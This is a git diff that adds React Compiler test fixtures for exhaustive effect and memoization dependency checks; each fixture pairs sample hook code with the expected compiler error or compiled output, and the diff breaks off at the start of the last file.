diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-effect-deps-missing-only.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-effect-deps-missing-only.js
new file mode 100644
index 000000000000..7b333f97a859
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-effect-deps-missing-only.js
@@ -0,0 +1,24 @@
+// @validateExhaustiveEffectDependencies:"missing-only"
+import {useEffect} from 'react';
+
+function Component({x, y, z}) {
+  // error: missing dep - x
+  useEffect(() => {
+    log(x);
+  }, []);
+
+  // no error: extra dep not reported in missing-only mode
+  useEffect(() => {
+    log(x);
+  }, [x, y]);
+
+  // error: missing dep - z (extra dep - y not reported)
+  useEffect(() => {
+    log(x, z);
+  }, [x, y]);
+
+  // error: missing dep x
+  useEffect(() => {
+    log(x);
+  }, [x.y]);
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-effect-deps.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-effect-deps.expect.md
new file mode 100644
index 000000000000..55dcd921a202
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-effect-deps.expect.md
@@ -0,0 +1,116 @@
+
+## Input
+
+```javascript
+// @validateExhaustiveEffectDependencies:"all"
+import {useEffect} from 'react';
+
+function Component({x, y, z}) {
+  // error: missing dep - x
+  useEffect(() => {
+    log(x);
+  }, []);
+
+  // error: extra dep - y
+  useEffect(() => {
+    log(x);
+  }, [x, y]);
+
+  // error: missing dep - z; extra dep - y
+  useEffect(() => {
+    log(x, z);
+  }, [x, y]);
+
+  // error: missing dep x
+  useEffect(() => {
+    log(x);
+  }, [x.y]);
+}
+
+```
+
+
+## Error
+
+```
+Found 4 errors:
+
+Error: Found missing effect dependencies
+
+Missing dependencies can cause an effect to fire less often than it should.
+
+error.invalid-exhaustive-effect-deps.ts:7:8
+   5 |   // error: missing dep - x
+   6 |   useEffect(() => {
+>  7 |     log(x);
+     |         ^ Missing dependency `x`
+   8 |   }, []);
+   9 |
+  10 |   // error: extra dep - y
+
+Inferred dependencies: `[x]`
+
+Error: Found extra effect dependencies
+
+Extra dependencies can cause an effect to fire more often than it should, resulting in performance problems such as excessive renders and side effects.
+
+error.invalid-exhaustive-effect-deps.ts:13:9
+  11 |   useEffect(() => {
+  12 |     log(x);
+> 13 |   }, [x, y]);
+     |          ^ Unnecessary dependency `y`
+  14 |
+  15 |   // error: missing dep - z; extra dep - y
+  16 |   useEffect(() => {
+
+Inferred dependencies: `[x]`
+
+Error: Found missing/extra effect dependencies
+
+Missing dependencies can cause an effect to fire less often than it should. Extra dependencies can cause an effect to fire more often than it should, resulting in performance problems such as excessive renders and side effects.
+
+error.invalid-exhaustive-effect-deps.ts:17:11
+  15 |   // error: missing dep - z; extra dep - y
+  16 |   useEffect(() => {
+> 17 |     log(x, z);
+     |            ^ Missing dependency `z`
+  18 |   }, [x, y]);
+  19 |
+  20 |   // error: missing dep x
+
+error.invalid-exhaustive-effect-deps.ts:18:9
+  16 |   useEffect(() => {
+  17 |     log(x, z);
+> 18 |   }, [x, y]);
+     |          ^ Unnecessary dependency `y`
+  19 |
+  20 |   // error: missing dep x
+  21 |   useEffect(() => {
+
+Inferred dependencies: `[x, z]`
+
+Error: Found missing/extra effect dependencies
+
+Missing dependencies can cause an effect to fire less often than it should. Extra dependencies can cause an effect to fire more often than it should, resulting in performance problems such as excessive renders and side effects.
+
+error.invalid-exhaustive-effect-deps.ts:22:8
+  20 |   // error: missing dep x
+  21 |   useEffect(() => {
+> 22 |     log(x);
+     |         ^ Missing dependency `x`
+  23 |   }, [x.y]);
+  24 | }
+  25 |
+
+error.invalid-exhaustive-effect-deps.ts:23:6
+  21 |   useEffect(() => {
+  22 |     log(x);
+> 23 |   }, [x.y]);
+     |       ^^^ Overly precise dependency `x.y`, use `x` instead
+  24 | }
+  25 |
+
+Inferred dependencies: `[x]`
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-effect-deps.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-effect-deps.js
new file mode 100644
index 000000000000..e810fd3f7c8c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-effect-deps.js
@@ -0,0 +1,24 @@
+// @validateExhaustiveEffectDependencies:"all"
+import {useEffect} from 'react';
+
+function Component({x, y, z}) {
+  // error: missing dep - x
+  useEffect(() => {
+    log(x);
+  }, []);
+
+  // error: extra dep - y
+  useEffect(() => {
+    log(x);
+  }, [x, y]);
+
+  // error: missing dep - z; extra dep - y
+  useEffect(() => {
+    log(x, z);
+  }, [x, y]);
+
+  // error: missing dep x
+  useEffect(() => {
+    log(x);
+  }, [x.y]);
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-missing-nonreactive-dep-inner-function.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-missing-nonreactive-dep-inner-function.expect.md
new file mode 100644
index 000000000000..2693d3bd05a5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-missing-nonreactive-dep-inner-function.expect.md
@@ -0,0 +1,43 @@
+
+## Input
+
+```javascript
+// @validateExhaustiveMemoizationDependencies
+
+import {useMemo} from 'react';
+import {makeObject_Primitives} from 'shared-runtime';
+
+function useHook() {
+  const object = makeObject_Primitives();
+  const fn = useCallback(() => {
+    const g = () => {
+      return [object];
+    };
+    return g;
+  });
+  return fn;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Found missing memoization dependencies
+
+Missing dependencies can cause a value to update less often than it should, resulting in stale UI.
+
+error.invalid-missing-nonreactive-dep-inner-function.ts:10:14
+   8 |   const fn = useCallback(() => {
+   9 |     const g = () => {
+> 10 |       return [object];
+     |               ^^^^^^ Missing dependency `object`
+  11 |     };
+  12 |     return g;
+  13 |   });
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-missing-nonreactive-dep-inner-function.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-missing-nonreactive-dep-inner-function.js
new file mode 100644
index 000000000000..02ba7b840614
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-missing-nonreactive-dep-inner-function.js
@@ -0,0 +1,15 @@
+// @validateExhaustiveMemoizationDependencies
+
+import {useMemo} from 'react';
+import {makeObject_Primitives} from 'shared-runtime';
+
+function useHook() {
+  const object = makeObject_Primitives();
+  const fn = useCallback(() => {
+    const g = () => {
+      return [object];
+    };
+    return g;
+  });
+  return fn;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-missing-nonreactive-dep-unmemoized.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-missing-nonreactive-dep-unmemoized.expect.md
new file mode 100644
index 000000000000..bb991d17dadb
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-missing-nonreactive-dep-unmemoized.expect.md
@@ -0,0 +1,43 @@
+
+## Input
+
+```javascript
+// @validateExhaustiveMemoizationDependencies
+
+import {useMemo} from 'react';
+import {makeObject_Primitives, useIdentity} from 'shared-runtime';
+
+function useHook() {
+  // object is non-reactive but not memoized bc the mutation surrounds a hook
+  const object = makeObject_Primitives();
+  useIdentity();
+  object.x = 0;
+  const array = useMemo(() => [object], []);
+  return array;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Found missing memoization dependencies
+
+Missing dependencies can cause a value to update less often than it should, resulting in stale UI.
+
+error.invalid-missing-nonreactive-dep-unmemoized.ts:11:31
+   9 |   useIdentity();
+  10 |   object.x = 0;
+> 11 |   const array = useMemo(() => [object], []);
+     |                                ^^^^^^ Missing dependency `object`
+  12 |   return array;
+  13 | }
+  14 |
+
+Inferred dependencies: `[object]`
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-missing-nonreactive-dep-unmemoized.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-missing-nonreactive-dep-unmemoized.js
new file mode 100644
index 000000000000..c790ce1daee2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-missing-nonreactive-dep-unmemoized.js
@@ -0,0 +1,13 @@
+// @validateExhaustiveMemoizationDependencies
+
+import {useMemo} from 'react';
+import {makeObject_Primitives, useIdentity} from 'shared-runtime';
+
+function useHook() {
+  // object is non-reactive but not memoized bc the mutation surrounds a hook
+  const object = makeObject_Primitives();
+  useIdentity();
+  object.x = 0;
+  const array = useMemo(() => [object], []);
+  return array;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-missing-nonreactive-dep.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-missing-nonreactive-dep.expect.md
new file mode 100644
index 000000000000..1bd8e1ba56fb
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-missing-nonreactive-dep.expect.md
@@ -0,0 +1,40 @@
+
+## Input
+
+```javascript
+// @validateExhaustiveMemoizationDependencies
+
+import {useMemo} from 'react';
+import {makeObject_Primitives} from 'shared-runtime';
+
+function useHook() {
+  const object = makeObject_Primitives();
+  const array = useMemo(() => [object], []);
+  return array;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Found missing memoization dependencies
+
+Missing dependencies can cause a value to update less often than it should, resulting in stale UI.
+
+error.invalid-missing-nonreactive-dep.ts:8:31
+   6 | function useHook() {
+   7 |   const object = makeObject_Primitives();
+>  8 |   const array = useMemo(() => [object], []);
+     |                                ^^^^^^ Missing dependency `object`
+   9 |   return array;
+  10 | }
+  11 |
+
+Inferred dependencies: `[object]`
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-missing-nonreactive-dep.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-missing-nonreactive-dep.js
new file mode 100644
index 000000000000..bfc81d9dd5bd
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-missing-nonreactive-dep.js
@@ -0,0 +1,10 @@
+// @validateExhaustiveMemoizationDependencies
+
+import {useMemo} from 'react';
+import {makeObject_Primitives} from 'shared-runtime';
+
+function useHook() {
+  const object = makeObject_Primitives();
+  const array = useMemo(() => [object], []);
+  return array;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.sketchy-code-exhaustive-deps.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.sketchy-code-exhaustive-deps.expect.md
new file mode 100644
index 000000000000..70be9d35d785
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.sketchy-code-exhaustive-deps.expect.md
@@ -0,0 +1,44 @@
+
+## Input
+
+```javascript
+import {arrayPush} from 'shared-runtime';
+
+// @validateExhaustiveMemoizationDependencies
+function Component() {
+  const item = [];
+  const foo = useCallback(
+    () => {
+      arrayPush(item, 1);
+    }, // eslint-disable-next-line react-hooks/exhaustive-deps
+    []
+  );
+
+  return <Button foo={foo} />;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Found missing memoization dependencies
+
+Missing dependencies can cause a value to update less often than it should, resulting in stale UI.
+
+error.sketchy-code-exhaustive-deps.ts:8:16
+   6 |   const foo = useCallback(
+   7 |     () => {
+>  8 |       arrayPush(item, 1);
+     |                 ^^^^ Missing dependency `item`
+   9 |     }, // eslint-disable-next-line react-hooks/exhaustive-deps
+  10 |     []
+  11 |   );
+
+Inferred dependencies: `[item]`
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.sketchy-code-exhaustive-deps.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.sketchy-code-exhaustive-deps.js
new file mode 100644
index 000000000000..3739c0cc8412
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.sketchy-code-exhaustive-deps.js
@@ -0,0 +1,14 @@
+import {arrayPush} from 'shared-runtime';
+
+// @validateExhaustiveMemoizationDependencies
+function Component() {
+  const item = [];
+  const foo = useCallback(
+    () => {
+      arrayPush(item, 1);
+    }, // eslint-disable-next-line react-hooks/exhaustive-deps
+    []
+  );
+
+  return <Button foo={foo} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps-allow-constant-folded-values.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps-allow-constant-folded-values.expect.md
new file mode 100644
index 000000000000..f1bb773c2147
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps-allow-constant-folded-values.expect.md
@@ -0,0 +1,42 @@
+
+## Input
+
+```javascript
+// @validateExhaustiveMemoizationDependencies
+
+function Component() {
+  const x = 0;
+  const y = useMemo(() => {
+    return [x];
+    // x gets constant-folded but shouldn't count as extraneous,
+    // it was referenced in the memo block
+  }, [x]);
+  return y;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validateExhaustiveMemoizationDependencies
+
+function Component() {
+  const $ = _c(1);
+  const x = 0;
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = [0];
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const y = t0;
+
+  return y;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps-allow-constant-folded-values.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps-allow-constant-folded-values.js
new file mode 100644
index 000000000000..6ee141cb3ae0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps-allow-constant-folded-values.js
@@ -0,0 +1,11 @@
+// @validateExhaustiveMemoizationDependencies
+
+function Component() {
+  const x = 0;
+  const y = useMemo(() => {
+    return [x];
+    // x gets constant-folded but shouldn't count as extraneous,
+    // it was referenced in the memo block
+  }, [x]);
+  return y;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps-allow-nonreactive-stable-types-as-extra-deps.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps-allow-nonreactive-stable-types-as-extra-deps.expect.md
new file mode 100644
index 000000000000..a5b500ddcf5c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps-allow-nonreactive-stable-types-as-extra-deps.expect.md
@@ -0,0 +1,148 @@
+
+## Input
+
+```javascript
+// @validateExhaustiveMemoizationDependencies @validateExhaustiveEffectDependencies:"all"
+import {
+  useCallback,
+  useTransition,
+  useState,
+  useOptimistic,
+  useActionState,
+  useRef,
+  useReducer,
+  useEffect,
+} from 'react';
+
+function useFoo() {
+  const [s, setState] = useState();
+  const ref = useRef(null);
+  const [t, startTransition] = useTransition();
+  const [u, addOptimistic] = useOptimistic();
+  const [v, dispatch] = useReducer(() => {}, null);
+  const [isPending, dispatchAction] = useActionState(() => {}, null);
+
+  useEffect(() => {
+    dispatch();
+    startTransition(() => {});
+    addOptimistic();
+    setState(null);
+    dispatchAction();
+    ref.current = true;
+  }, [
+    // intentionally adding unnecessary deps on nonreactive stable values
+    // to check that they're allowed
+    dispatch,
+    startTransition,
+    addOptimistic,
+    setState,
+    dispatchAction,
+    ref,
+  ]);
+
+  return useCallback(() => {
+    dispatch();
+    startTransition(() => {});
+    addOptimistic();
+    setState(null);
+    dispatchAction();
+    ref.current = true;
+  }, [
+    // intentionally adding unnecessary deps on nonreactive stable values
+    // to check that they're allowed
+    dispatch,
+    startTransition,
+    addOptimistic,
+    setState,
+    dispatchAction,
+    ref,
+  ]);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validateExhaustiveMemoizationDependencies @validateExhaustiveEffectDependencies:"all"
+import {
+  useCallback,
+  useTransition,
+  useState,
+  useOptimistic,
+  useActionState,
+  useRef,
+  useReducer,
+  useEffect,
+} from "react";
+
+function useFoo() {
+  const $ = _c(3);
+  const [, setState] = useState();
+  const ref = useRef(null);
+  const [, startTransition] = useTransition();
+  const [, addOptimistic] = useOptimistic();
+  const [, dispatch] = useReducer(_temp, null);
+  const [, dispatchAction] = useActionState(_temp2, null);
+  let t0;
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = () => {
+      dispatch();
+      startTransition(_temp3);
+      addOptimistic();
+      setState(null);
+      dispatchAction();
+      ref.current = true;
+    };
+    t1 = [
+      dispatch,
+      startTransition,
+      addOptimistic,
+      setState,
+      dispatchAction,
+      ref,
+    ];
+    $[0] = t0;
+    $[1] = t1;
+  } else {
+    t0 = $[0];
+    t1 = $[1];
+  }
+  useEffect(t0, t1);
+  let t2;
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = () => {
+      dispatch();
+      startTransition(_temp4);
+      addOptimistic();
+      setState(null);
+      dispatchAction();
+      ref.current = true;
+    };
+    $[2] = t2;
+  } else {
+    t2 = $[2];
+  }
+  return t2;
+}
+function _temp4() {}
+function _temp3() {}
+function _temp2() {}
+function _temp() {}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) "[[ function params=0 ]]"
+logs: ['An optimistic state update occurred outside a transition or action. To fix, move the update to an action, or wrap with startTransition.']
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps-allow-nonreactive-stable-types-as-extra-deps.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps-allow-nonreactive-stable-types-as-extra-deps.js
new file mode 100644
index 000000000000..75ea6edbb34f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps-allow-nonreactive-stable-types-as-extra-deps.js
@@ -0,0 +1,61 @@
+// @validateExhaustiveMemoizationDependencies @validateExhaustiveEffectDependencies:"all"
+import {
+  useCallback,
+  useTransition,
+  useState,
+  useOptimistic,
+  useActionState,
+  useRef,
+  useReducer,
+  useEffect,
+} from 'react';
+
+function useFoo() {
+  const [s, setState] = useState();
+  const ref = useRef(null);
+  const [t, startTransition] = useTransition();
+  const [u, addOptimistic] = useOptimistic();
+  const [v, dispatch] = useReducer(() => {}, null);
+  const [isPending, dispatchAction] = useActionState(() => {}, null);
+
+  useEffect(() => {
+    dispatch();
+    startTransition(() => {});
+    addOptimistic();
+    setState(null);
+    dispatchAction();
+    ref.current = true;
+  }, [
+    // intentionally adding unnecessary deps on nonreactive stable values
+    // to check that they're allowed
+    dispatch,
+    startTransition,
+    addOptimistic,
+    setState,
+    dispatchAction,
+    ref,
+  ]);
+
+  return useCallback(() => {
+    dispatch();
+    startTransition(() => {});
+    addOptimistic();
+    setState(null);
+    dispatchAction();
+    ref.current = true;
+  }, [
+    // intentionally adding unnecessary deps on nonreactive stable values
+    // to check that they're allowed
+    dispatch,
+    startTransition,
+    addOptimistic,
+    setState,
+    dispatchAction,
+    ref,
+  ]);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps-effect-events.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps-effect-events.expect.md
new file mode 100644
index 000000000000..a633db2d8daa
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps-effect-events.expect.md
@@ -0,0 +1,104 @@
+
+## Input
+
+```javascript
+// @validateExhaustiveEffectDependencies:"all"
+import {useEffect, useEffectEvent} from 'react';
+
+function Component({x, y, z}) {
+  const effectEvent = useEffectEvent(() => {
+    log(x);
+  });
+
+  const effectEvent2 = useEffectEvent(z => {
+    log(y, z);
+  });
+
+  // ok - effectEvent not included in deps
+  useEffect(() => {
+    effectEvent();
+  }, []);
+
+  // ok - effectEvent2 not included in deps, z included
+  useEffect(() => {
+    effectEvent2(z);
+  }, [z]);
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validateExhaustiveEffectDependencies:"all"
+import { useEffect, useEffectEvent } from "react";
+
+function Component(t0) {
+  const $ = _c(12);
+  const { x, y, z } = t0;
+  let t1;
+  if ($[0] !== x) {
+    t1 = () => {
+      log(x);
+    };
+    $[0] = x;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const effectEvent = useEffectEvent(t1);
+  let t2;
+  if ($[2] !== y) {
+    t2 = (z_0) => {
+      log(y, z_0);
+    };
+    $[2] = y;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  const effectEvent2 = useEffectEvent(t2);
+  let t3;
+  if ($[4] !== effectEvent) {
+    t3 = () => {
+      effectEvent();
+    };
+    $[4] = effectEvent;
+    $[5] = t3;
+  } else {
+    t3 = $[5];
+  }
+  let t4;
+  if ($[6] === Symbol.for("react.memo_cache_sentinel")) {
+    t4 = [];
+    $[6] = t4;
+  } else {
+    t4 = $[6];
+  }
+  useEffect(t3, t4);
+  let t5;
+  if ($[7] !== effectEvent2 || $[8] !== z) {
+    t5 = () => {
+      effectEvent2(z);
+    };
+    $[7] = effectEvent2;
+    $[8] = z;
+    $[9] = t5;
+  } else {
+    t5 = $[9];
+  }
+  let t6;
+  if ($[10] !== z) {
+    t6 = [z];
+    $[10] = z;
+    $[11] = t6;
+  } else {
+    t6 = $[11];
+  }
+  useEffect(t5, t6);
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps-effect-events.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps-effect-events.js
new file mode 100644
index 000000000000..ef3853b6e4dd
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps-effect-events.js
@@ -0,0 +1,22 @@
+// @validateExhaustiveEffectDependencies:"all"
+import {useEffect, useEffectEvent} from 'react';
+
+function Component({x, y, z}) {
+  const effectEvent = useEffectEvent(() => {
+    log(x);
+  });
+
+  const effectEvent2 = useEffectEvent(z => {
+    log(y, z);
+  });
+
+  // ok - effectEvent not included in deps
+  useEffect(() => {
+    effectEvent();
+  }, []);
+
+  // ok - effectEvent2 not included in deps, z included
+  useEffect(() => {
+    effectEvent2(z);
+  }, [z]);
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps.expect.md
new file mode 100644
index 000000000000..70d8a3abbf66
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps.expect.md
@@ -0,0 +1,201 @@
+
+## Input
+
+```javascript
+// @validateExhaustiveMemoizationDependencies
+import {useCallback, useMemo} from 'react';
+import {makeObject_Primitives, Stringify} from 'shared-runtime';
+
+function useHook1(x) {
+  return useMemo(() => {
+    return x?.y.z?.a;
+  }, [x?.y.z?.a]);
+}
+function useHook2(x) {
+  useMemo(() => {
+    return x.y.z?.a;
+  }, [x.y.z?.a]);
+}
+function useHook3(x) {
+  return useMemo(() => {
+    return x?.y.z.a?.b;
+  }, [x?.y.z.a?.b]);
+}
+function useHook4(x, y, z) {
+  return useMemo(() => {
+    return x?.y?.[(console.log(y), z?.b)];
+  }, [x?.y, y, z?.b]);
+}
+function useHook5(x) {
+  return useMemo(() => {
+    const e = [];
+    const local = makeObject_Primitives(x);
+    const fn = () => {
+      e.push(local);
+    };
+    fn();
+    return e;
+  }, [x]);
+}
+function useHook6(x) {
+  return useMemo(() => {
+    const f = [];
+    f.push(x.y.z);
+    f.push(x.y);
+    f.push(x);
+    return f;
+  }, [x]);
+}
+
+function useHook7(x) {
+  const [state, setState] = useState(true);
+  const f = () => {
+    setState(x => !x);
+  };
+  return useCallback(() => {
+    f();
+  }, [f]);
+}
+
+function Component({x, y, z}) {
+  const a = useHook1(x);
+  const b = useHook2(x);
+  const c = useHook3(x);
+  const d = useHook4(x, y, z);
+  const e = useHook5(x);
+  const f = useHook6(x);
+  const g = useHook7(x);
+  return <Stringify results={[a, b, c, d, e, f, g]} />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validateExhaustiveMemoizationDependencies
+import { useCallback, useMemo } from "react";
+import { makeObject_Primitives, Stringify } from "shared-runtime";
+
+function useHook1(x) {
+  x?.y.z?.a;
+  return x?.y.z?.a;
+}
+
+function useHook2(x) {
+  x.y.z?.a;
+}
+
+function useHook3(x) {
+  x?.y.z.a?.b;
+  return x?.y.z.a?.b;
+}
+
+function useHook4(x, y, z) {
+  x?.y;
+  z?.b;
+  return x?.y?.[(console.log(y), z?.b)];
+}
+
+function useHook5(x) {
+  const $ = _c(2);
+  let e;
+  if ($[0] !== x) {
+    e = [];
+    const local = makeObject_Primitives(x);
+    const fn = () => {
+      e.push(local);
+    };
+
+    fn();
+    $[0] = x;
+    $[1] = e;
+  } else {
+    e = $[1];
+  }
+  return e;
+}
+
+function useHook6(x) {
+  const $ = _c(2);
+  let f;
+  if ($[0] !== x) {
+    f = [];
+    f.push(x.y.z);
+    f.push(x.y);
+    f.push(x);
+    $[0] = x;
+    $[1] = f;
+  } else {
+    f = $[1];
+  }
+  return f;
+}
+
+function useHook7(x) {
+  const $ = _c(2);
+  const [, setState] = useState(true);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = () => {
+      setState(_temp);
+    };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const f = t0;
+  let t1;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = () => {
+      f();
+    };
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+function _temp(x_0) {
+  return !x_0;
+}
+
+function Component(t0) {
+  const $ = _c(8);
+  const { x, y, z } = t0;
+  const a = useHook1(x);
+  const b = useHook2(x);
+  const c = useHook3(x);
+  const d = useHook4(x, y, z);
+  const e = useHook5(x);
+  const f = useHook6(x);
+  const g = useHook7(x);
+  let t1;
+  if (
+    $[0] !== a ||
+    $[1] !== b ||
+    $[2] !== c ||
+    $[3] !== d ||
+    $[4] !== e ||
+    $[5] !== f ||
+    $[6] !== g
+  ) {
+    t1 = <Stringify results={[a, b, c, d, e, f, g]} />;
+    $[0] = a;
+    $[1] = b;
+    $[2] = c;
+    $[3] = d;
+    $[4] = e;
+    $[5] = f;
+    $[6] = g;
+    $[7] = t1;
+  } else {
+    t1 = $[7];
+  }
+  return t1;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps.js
new file mode 100644
index 000000000000..38e730b0d21a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps.js
@@ -0,0 +1,65 @@
+// @validateExhaustiveMemoizationDependencies
